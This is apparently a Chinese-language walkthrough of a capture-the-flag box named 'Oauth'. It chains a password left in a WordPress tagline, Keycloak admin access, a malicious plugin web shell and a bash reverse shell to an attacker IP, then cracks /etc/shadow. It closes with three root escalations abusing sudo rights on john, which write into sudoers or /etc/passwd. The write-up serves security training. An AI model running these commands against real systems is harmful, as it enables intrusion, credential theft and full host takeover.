信息收集

IP=192.168.205.179
nmap -p0-65535 $IP
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

三个端口,22 是 SSH,80 是 Apache,8080 一看就是 Java 应用。先绑域名,因为访问 IP 会 301 到 oauth.dsz

echo "$IP oauth.dsz" | sudo tee -a /etc/hosts

80 端口是个 WordPress 站点,版本 6.9.4,主题 twentytwentyfive。页面内容全在讲 OAuth 协议,文章、标签、分类全是 OAuth 相关的科普。装了个 OAuth 插件 miniorange-login-with-eve-online-google-facebook,登录页面有个 OAuth 按钮。

站点标语(Tagline)写着 Admin@123,这种位置放密码的操作还是头一回见。先记下来。

8080 端口是 Keycloak 管理后台,访问 /admin/master/console/ 能看到登录界面。

Keycloak 到 WordPress

admin:Admin@123 登录 Keycloak,直接进了管理后台。在菜单里面能看到一个 wordpress-site realm,这就是 WordPress OAuth 插件对接的认证源。

image-20260605092553395

切到 wordpress-site realm,在 Users 里创建一个新用户(或者重置已有用户密码),Email Verified 设为 ON,密码的 Temporary 设为 OFF。

回到 WordPress 登录页 http://oauth.dsz/wp-login.php,点 OAuth 按钮,用刚才在 Keycloak 配置的用户认证,拿到 WordPress 管理员权限。

WordPress GetShell

管理员后台,老套路,上传恶意插件。(自己找,github一堆,不提供了)

插件页面上传 shell.zip,激活,验证一下:

curl "http://oauth.dsz/wp-content/plugins/shell/shell.php?cmd=id"
uid=104(apache) gid=106(apache) groups=106(apache)

拿到 apache 用户的 RCE。开监听反弹 shell:

nc -lvnp 8888
curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.205.128/8888 0>&1'" "http://oauth.dsz/wp-content/plugins/shell/shell.php"

收到 shell 后做个基本稳定化:

export TERM=xterm
export SHELL=/bin/bash

横向移动

看一下本地用户:

ls -al /home/
drwxr-sr-x    2 keycloak keycloak      4096 Apr  6 18:02 keycloak
drwxr-sr-x    3 wiktor   wiktor        4096 Apr  6 17:37 wiktor

两个用户,wiktor 和 keycloak。apache 用户啥 sudo 权限都没有,得先横向。

su wiktor 试了一下密码 wiktor,直接进去了。这个密码后来才知道是 john 破解 shadow 得出来的,当时纯猜的。

su wiktor
id
uid=1000(wiktor) gid=1000(wiktor) groups=1000(wiktor)

看 sudo 权限:

sudo -l
Runas and Command-specific defaults for wiktor:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User wiktor may run the following commands on Oauth:
    (root) NOPASSWD: /usr/bin/john

可以 root 身份跑 john。先把 shadow 破了看看:

sudo /usr/bin/john /etc/shadow
wiktor           (wiktor)
;tib'[d;         (keycloak)

root 的密码没破出来,字典跑完了都没中。wiktor 密码就是 wiktor,keycloak 的密码 ;tib'[d; 看着像乱码,实际上是键盘上某个单词每个键右移两位产生的,挺有意思的彩蛋。

切到 keycloak 拿 user flag:

su keycloak
cat /home/keycloak/uuuussseer.txt
flag{user-1fd5df65f42de9599a29f873cf7c6fa6}

keycloak 的 sudo 权限是 (wiktor) NOPASSWD: /usr/bin/scp,对提权没什么直接帮助。

提权

回到 wiktor 用户,核心就是利用 sudo /usr/bin/john。root 密码破不出来,得想办法用 john 的功能来写文件。

john 以 root 身份运行,它创建的所有文件都是 root 属主。能写文件的参数主要有三个:--session.rec 恢复文件、--pot 写破解结果、以及 --wordlist 读任意文件配合 --stdout 输出。

读取任意文件(未成功获取 root flag)

john 的 --wordlist 以 root 权限读文件,--stdout 直接输出内容,相当于一个 root 权限的 cat

sudo /usr/bin/john --wordlist=/etc/shadow --stdout
sudo /usr/bin/john --wordlist=/root/.bash_history --stdout

我试着猜 root flag 的文件名,user flag 文件叫 uuuussseer.txt(字母重复递减),所以 root 应该也是类似的变种。跑了个循环遍历各种组合:

for r in r rr rrr rrrr rrrrr; do for o in o oo ooo oooo ooooo; do for t in t tt ttt tttt ttttt; do f="${r}${o}${t}.txt"; result=$(sudo /usr/bin/john --wordlist=/root/$f --stdout 2>&1); if ! echo "$result" | grep -q "No such file"; then echo "FOUND: /root/$f"; echo "$result"; break 3; fi; done; done; done

全都是 No such file or directory,文件名不是这种简单变种。这条路走不通,还是得拿 root shell。

方法一:--session 符号链接写 sudoers(by Sublarge)

john 的 --session=NAME 会创建 NAME.rec 文件保存会话恢复数据。.rec 文件内容里会记录命令行里传入的密码文件路径。如果把密码文件的文件名设成一条合法的 sudoers 规则,然后用符号链接把 .rec 指向 /etc/sudoers.d/ 下的文件,john 以 root 写入时就会通过符号链接把内容写进 sudoers.d。

虽然 .rec 里大部分内容是会话元数据,sudoers 解析时会报一堆 syntax error,但 sudoers 的行为是逐行解析,遇到合法行就生效,不会因为其他行有错就整个文件失效。

有个关键的坑:不能在 /tmp 下操作。/tmp 有 sticky bit(drwxrwxrwt),wiktor 创建的符号链接,root 的 john 进程无法通过它写入目标文件。必须在 /home/wiktor 下操作,这个目录属主是 wiktor,没有 sticky bit 限制。

cd /home/wiktor

创建一个 hash 文件,文件名本身就是 sudoers 规则:

HASH=$(openssl passwd -5 -salt test 'password')
echo "test:${HASH}:19000:0:99999:7:::" > 'ALL ALL=(ALL) NOPASSWD: ALL'

创建符号链接,让 a.rec 指向 /etc/sudoers.d/a

ln -sf /etc/sudoers.d/a a.rec

以 root 身份运行 john,session 名对应符号链接的前缀:

sudo /usr/bin/john --session=a 'ALL ALL=(ALL) NOPASSWD: ALL'

john 开始跑之后按 q 中断。此时 .rec 已经通过符号链接写入了 /etc/sudoers.d/a

验证:

sudo -l

输出里虽然有一堆 syntax error,但最后能看到:

User wiktor may run the following commands on Oauth:
    (root) NOPASSWD: /usr/bin/john
    (ALL) NOPASSWD: ALL

提权:

sudo su

方法二:--field-separator-char 换行符写 sudoers(by scdyh)

这个方法更优雅。john 的 --help 末尾有一句 See also doc/ENCODINGS and --list=hidden-options,执行 --list=hidden-options 能看到一个隐藏参数:

--field-separator-char=C   use 'C' instead of the ':' in input and pot files

john 的 pot 文件格式正常是 hash:password,用 : 分隔哈希和明文。如果把分隔符替换成换行符 $'\n',输出就变成了两行:第一行是哈希(垃圾数据),第二行是明文密码(完全可控)。把 pot 文件指向 /etc/sudoers.d/ 下的文件,明文密码设为合法 sudoers 规则,就实现了精确写入。

先生成一个已知密码的 hash。密码内容就是要写入的 sudoers 规则:

HASH=$(openssl passwd -6 -salt testsalt 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL')
echo "$HASH" > /home/keycloak/h

创建 wordlist,内容也是这条 sudoers 规则:

echo 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL' > /home/keycloak/w

用换行符作为字段分隔符,pot 写入 sudoers.d:

sudo /usr/bin/john --format=sha512crypt --wordlist=/home/keycloak/w --field-separator-char=$'\n' /home/keycloak/h --pot=/etc/sudoers.d/keycloak_pwn

pot 文件写入后内容是两行:第一行是 hash 字符串(sudoers 无法解析,报错跳过),第二行是 keycloak ALL=(ALL:ALL) NOPASSWD: ALL(合法规则,生效)。切到 keycloak 用户后直接 sudo su

方法三:--pot 追加 /etc/passwd(by lnnn/菜叶片)

john 的 --pot=FILE 以 root 权限追加破解结果到指定文件。pot 格式是 hash:password,如果把 pot 指向 /etc/passwd,控制好内容就能追加一个 uid=0 的用户。

思路是:构造一个 MD5 hash,对应的明文是一段 passwd 格式的字符串(包含 uid=0)。pot 追加到 /etc/passwd 后,整行就变成了 $dynamic_0$hash:password_hash:0:0:root:/root:,刚好是一个合法的 passwd 条目。

先生成密码哈希:

openssl passwd -1 -salt yp "lol"
$1$yp$eeuzl56m97I4.QHhUWPXG1

构造 passwd 行的后半段并计算它的 MD5:

echo -n '$1$yp$eeuzl56m97I4.QHhUWPXG1:0:0:root:/root:' | md5sum
bb8005e24ff27e230065071ba1d3462b

创建 hash 文件:

echo 'bb8005e24ff27e230065071ba1d3462b' > hash

--mask 指定明文就是 passwd 行的后半段,pot 直接追加到 /etc/passwd

sudo /usr/bin/john --pot=/etc/passwd --mask='$1$yp$eeuzl56m97I4.QHhUWPXG1:0:0:root:/root:' --format=raw-md5 hash

john 破解成功后往 /etc/passwd 追加了一行。用户名是 pot 格式中的 hash 前缀 $dynamic_0$bb8005e24ff27e230065071ba1d3462b,密码是 $1$yp$eeuzl56m97I4.QHhUWPXG1(对应明文 lol),uid 是 0。

su - '$dynamic_0$bb8005e24ff27e230065071ba1d3462b'

输入密码 lol

root@Oauth:~# id
uid=0(root) gid=0(root) groups=0(root)

Flag

flag{user-1fd5df65f42de9599a29f873cf7c6fa6}
flag{root-a00d5b7f3a0a1108dd975a1d0c3fc2fc}